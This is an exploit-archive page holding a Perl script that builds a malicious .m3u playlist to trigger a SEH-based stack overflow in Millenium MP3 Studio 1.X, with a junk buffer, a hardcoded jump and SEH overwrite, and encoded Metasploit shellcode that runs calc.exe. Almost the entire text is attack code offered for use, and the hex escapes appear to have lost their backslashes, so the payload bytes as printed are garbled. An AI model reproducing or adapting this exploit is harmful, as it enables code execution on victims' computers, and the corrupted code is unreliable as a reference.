[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Millenium MP3 Studio v1.X (.m3u File) Local Stack Overflow
# Published : 2010-01-19
# Author : NeoCortex
# Previous Title : jetAudio 8.0.0.2 Basic (m3u) Stack Overflow Exploit
# Next Title : Windows NT User Mode to Ring 0 Escalation Vulnerability
#!/usr/bin/perl
# Exploit Title: MP3 Studio v1.X (.m3u File) Local Stack Overflow
# Date: 19.01.2010 - 01/19/2010
# Author: NeoCortex
# Software Link: http://www.freewarezoom.com/archives/millennium-mp3-studio
# Version: 1.X
# Tested on: Windows XP SP3 (de-de)
# Original exploit found by HACK4LOVE
# http://www.milw0rm.com/exploits/9277
#
# Nice training on seh exploits.
# Good luck finding some buddy using that media player
#
# Greetz to:
# _-Sid-_ - Jess - >Roadkill< - Dawn - MouZe* - Linki
#
# 19.01.2010 by NeoCortex
my $noa = "http://"."x41" x 4103; # junk
my $jmp = "xebx1bx90x90"; # 00125D64 EB 1B JMP SHORT 00125D81
my $seh = "x25x12xc8x72"; # 00125D68 72C81225 SE handler
my $nob = "x42" x 22; # cosmetic...
my $payload =
# payload taken from http://www.metasploit.com
# windows/exec cmd=calc.exe
"xebx03x59xebx05xe8xf8xffxffxffx49x49x49x49x49x49".
"x49x49x49x49x49x49x49x49x49x49x49x51x48x5ax6ax47".
"x58x30x42x31x50x42x41x6bx42x41x57x42x32x42x41x32".
"x41x41x30x41x41x58x50x38x42x42x75x78x69x6bx4cx6a".
"x48x53x74x67x70x67x70x75x50x4ex6bx53x75x65x6cx6e".
"x6bx51x6cx46x65x70x78x43x31x68x6fx4ex6bx30x4fx54".
"x58x6ex6bx73x6fx57x50x67x71x58x6bx77x39x4cx4bx64".
"x74x6cx4bx57x71x5ax4ex76x51x49x50x6ex79x6ex4cx4f".
"x74x4bx70x70x74x37x77x69x51x48x4ax64x4dx43x31x4f".
"x32x7ax4bx48x74x55x6bx72x74x34x64x77x74x70x75x4d".
"x35x6cx4bx71x4fx75x74x36x61x48x6bx41x76x4cx4bx44".
"x4cx70x4bx4ex6bx63x6fx55x4cx33x31x68x6bx4ex6bx35".
"x4cx4ex6bx34x41x6ax4bx6cx49x33x6cx35x74x64x44x4a".
"x63x34x71x4bx70x63x54x6ex6bx71x50x76x50x4fx75x4b".
"x70x72x58x74x4cx4cx4bx77x30x76x6cx4cx4bx44x30x57".
"x6cx6cx6dx6ex6bx75x38x54x48x58x6bx73x39x6ex6bx4b".
"x30x4ex50x37x70x67x70x37x70x6cx4bx62x48x45x6cx63".
"x6fx35x61x39x66x35x30x50x56x4dx59x48x78x6ex63x59".
"x50x43x4bx66x30x43x58x68x70x6fx7ax43x34x33x6fx73".
"x58x4fx68x6bx4ex6dx5ax46x6ex72x77x6bx4fx78x67x63".
"x53x62x41x30x6cx55x33x64x6ex42x45x70x78x32x45x33".
"x30x47";
open(myfile,'>> Neo_Crash.m3u');
print myfile $noa.$jmp.$seh.$nob.$payload;
--
Preisknaller: GMX DSL Flatrate f¨¹r nur 16,99 Euro/mtl.!
http://portal.gmx.net/de/go/dsl02